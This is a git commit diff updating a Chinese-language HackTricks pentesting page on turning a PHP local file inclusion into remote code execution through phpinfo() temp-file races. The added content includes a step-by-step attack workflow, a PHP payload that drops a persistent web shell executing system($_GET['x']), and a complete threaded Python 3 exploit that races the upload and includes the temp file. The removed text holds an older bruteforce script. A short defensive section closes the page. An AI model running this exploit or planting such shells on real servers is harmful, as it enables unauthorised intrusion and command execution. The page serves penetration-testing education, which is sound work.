mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
00fcca1130
commit
ad4b4e5ee2
@ -1,55 +1,160 @@
|
||||
# LFI to RCE via PHPInfo
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面,“file_uploads = on”,并且服务器必须能够在“/tmp”目录中写入。**
|
||||
要利用此技术,你需要满足以下所有条件:
|
||||
- 一个可访问且会输出 phpinfo() 的页面。
|
||||
- 一个你能控制的 Local File Inclusion (LFI) 原语(例如基于用户输入的 include/require)。
|
||||
- 启用 PHP 文件上传(file_uploads = On)。任何 PHP 脚本都会接受 RFC1867 的 multipart 上传,并为每个上传部分创建一个临时文件。
|
||||
- PHP worker 必须能写入配置的 upload_tmp_dir(或系统默认临时目录),并且你的 LFI 必须能包含该路径。
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
经典写作与原始 PoC:
|
||||
- 白皮书: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||
- 原始 PoC 脚本名:phpinfolfi.py(参见白皮书与镜像)
|
||||
|
||||
**教程 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||
|
||||
您需要修复漏洞(将 **=>** 更改为 **=>**)。为此,您可以执行:
|
||||
关于原始 PoC 的说明
|
||||
- phpinfo() 的输出是 HTML-encoded,因此 "=>" 箭头常显示为 "=>"。如果重用旧脚本,确保在解析 _FILES[tmp_name] 值时同时查找两种编码。
|
||||
- 你必须调整 payload(你的 PHP 代码)、REQ1(向 phpinfo() 端点的请求,包括填充)和 LFIREQ(向你的 LFI sink 的请求)。某些目标不需要 null-byte(%00)终止符,且现代 PHP 版本不会遵从它。根据目标的脆弱 sink 相应调整 LFIREQ。
|
||||
|
||||
匹配 HTML-encoded 箭头 的 sed 示例(仅在你确实使用旧的 Python2 PoC 时):
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||
```
|
||||
您还需要更改利用的**payload**(例如,php-rev-shell),**REQ1**(这应该指向phpinfo页面并包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查利用空字符时的双“%”)
|
||||
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### 理论
|
||||
## 理论
|
||||
|
||||
如果在PHP中允许上传文件,并且您尝试上传文件,则这些文件会存储在临时目录中,直到服务器处理完请求,然后这些临时文件会被删除。
|
||||
- 当 PHP 收到一个带有 file 字段的 multipart/form-data POST 时,它会将内容写入一个临时文件 (upload_tmp_dir 或操作系统默认) 并在 $_FILES['<field>']['tmp_name'] 中暴露该路径。该文件会在请求结束时自动删除,除非被移动/重命名。
|
||||
- 关键是获知临时文件名并在 PHP 清理之前通过你的 LFI 将其 include。phpinfo() 会打印 $_FILES,包括 tmp_name。
|
||||
- 通过膨胀请求头/参数(padding),你可以使 phpinfo() 输出的早期片段在请求完成前被刷新到客户端,这样你就能在临时文件仍然存在时读取到 tmp_name,然后立即用该路径触发 LFI。
|
||||
|
||||
然后,如果您在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
|
||||
在 Windows 中临时文件通常位于类似 C:\\Windows\\Temp\\php*.tmp 的位置。在 Linux/Unix 中通常在 /tmp 或 upload_tmp_dir 配置的目录中。
|
||||
|
||||
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
||||
## 攻击工作流程(逐步)
|
||||
|
||||
在**linux**中,文件的名称通常是**随机的**,位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”中**变量$\_FILES**的值来完成。
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会**发送给客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||||
|
||||
**尝试暴力破解名称的Python脚本(如果长度=6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
1) 准备一个小型 PHP payload,快速持久化一个 shell 以避免丢失竞态(写文件通常比等待 reverse shell 更快):
|
||||
```
|
||||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||
```
|
||||
2) 直接向 phpinfo() 页面发送一个大型 multipart POST,让它创建一个包含你 payload 的临时文件。用大约 5–10KB 的填充膨胀各种 headers/cookies/params,以促使早期输出。确保表单字段名与你在 $_FILES 中解析的名称匹配。
|
||||
|
||||
3) 当 phpinfo() 的响应仍在流式传输时,解析部分响应体以提取 $_FILES['<field>']['tmp_name'](HTML 编码)。一旦你拿到完整的绝对路径(例如 /tmp/php3Fz9aB),就触发你的 LFI 去 include 该路径。如果 include() 在临时文件被删除前执行该文件,payload 就会运行并投放 /tmp/.p.php。
|
||||
|
||||
4) 使用被投放的文件:GET /vuln.php?include=/tmp/.p.php&x=id(或你 LFI 允许包含它的任何位置)来可靠地执行命令。
|
||||
|
||||
> 提示
|
||||
> - 使用多个并发 workers 来增加你赢得竞争的几率。
|
||||
> - 常见有用的填充放置位置:URL 参数、Cookie、User-Agent、Accept-Language、Pragma。根据目标进行调整。
|
||||
> - 如果易受攻击的 sink 附加了扩展名(例如 .php),你不需要 null byte;include() 会执行 PHP,无论临时文件的扩展名是什么。
|
||||
|
||||
## Minimal Python 3 PoC (socket-based)
|
||||
|
||||
下面的代码片段只关注关键部分,比旧的 Python2 脚本更容易改写。请自定义 HOST、PHPSCRIPT(phpinfo 端点)、LFIPATH(LFI sink 的路径)和 PAYLOAD。
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import re, html, socket, threading
|
||||
|
||||
HOST = 'target.local'
|
||||
PORT = 80
|
||||
PHPSCRIPT = '/phpinfo.php'
|
||||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||
THREADS = 10
|
||||
|
||||
PAYLOAD = (
|
||||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||
)
|
||||
BOUND = '---------------------------7dbff1ded0714'
|
||||
PADDING = 'A' * 6000
|
||||
REQ1_DATA = (f"{BOUND}\r\n"
|
||||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||
|
||||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||
|
||||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||
|
||||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||
|
||||
|
||||
def race_once():
|
||||
s1 = socket.socket()
|
||||
s2 = socket.socket()
|
||||
s1.connect((HOST, PORT))
|
||||
s2.connect((HOST, PORT))
|
||||
s1.sendall(REQ1.encode())
|
||||
buf = b''
|
||||
tmp = None
|
||||
while True:
|
||||
chunk = s1.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||
if m:
|
||||
tmp = m.group(1)
|
||||
break
|
||||
ok = False
|
||||
if tmp:
|
||||
req = (LFI % tmp).encode() % HOST.encode()
|
||||
s2.sendall(req)
|
||||
r = s2.recv(4096)
|
||||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||
s1.close(); s2.close()
|
||||
return ok
|
||||
|
||||
if __name__ == '__main__':
|
||||
hit = False
|
||||
def worker():
|
||||
nonlocal_hit = False
|
||||
while not hit and not nonlocal_hit:
|
||||
nonlocal_hit = race_once()
|
||||
if nonlocal_hit:
|
||||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||
exit(0)
|
||||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||
[t.start() for t in ts]
|
||||
[t.join() for t in ts]
|
||||
```
|
||||
## 故障排除
|
||||
- You never see tmp_name: 确保你确实以 POST multipart/form-data 的方式提交到 phpinfo()。phpinfo() 仅在存在上传字段时才会打印 $_FILES。
|
||||
- Output doesn’t flush early: 增加填充,添加更多大型 headers,或发送多个并发请求。某些 SAPIs/缓冲区在达到更高阈值前不会刷新;据此调整。
|
||||
- LFI path blocked by open_basedir or chroot: 你必须将 LFI 指向一个被允许的路径,或切换到不同的 LFI2RCE 向量。
|
||||
- Temp directory not /tmp: phpinfo() 会打印完整的绝对 tmp_name 路径;在 LFI 中使用该精确路径。
|
||||
|
||||
## 防御性注意事项
|
||||
- Never expose phpinfo() in production. 如有必要,按 IP/认证 限制并在使用后移除。
|
||||
- Keep file_uploads disabled if not required. 否则,将 upload_tmp_dir 限制到应用中 include() 无法访问的路径,并对任何 include/require 路径实施严格验证。
|
||||
- Treat any LFI as critical; 即使没有 phpinfo(),仍存在其他 LFI→RCE 路径。
|
||||
|
||||
## Related HackTricks techniques
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## 参考
|
||||
- LFI With PHPInfo() Assistance 白皮书 (2011) – Packet Storm 镜像: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||
- PHP 手册 – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user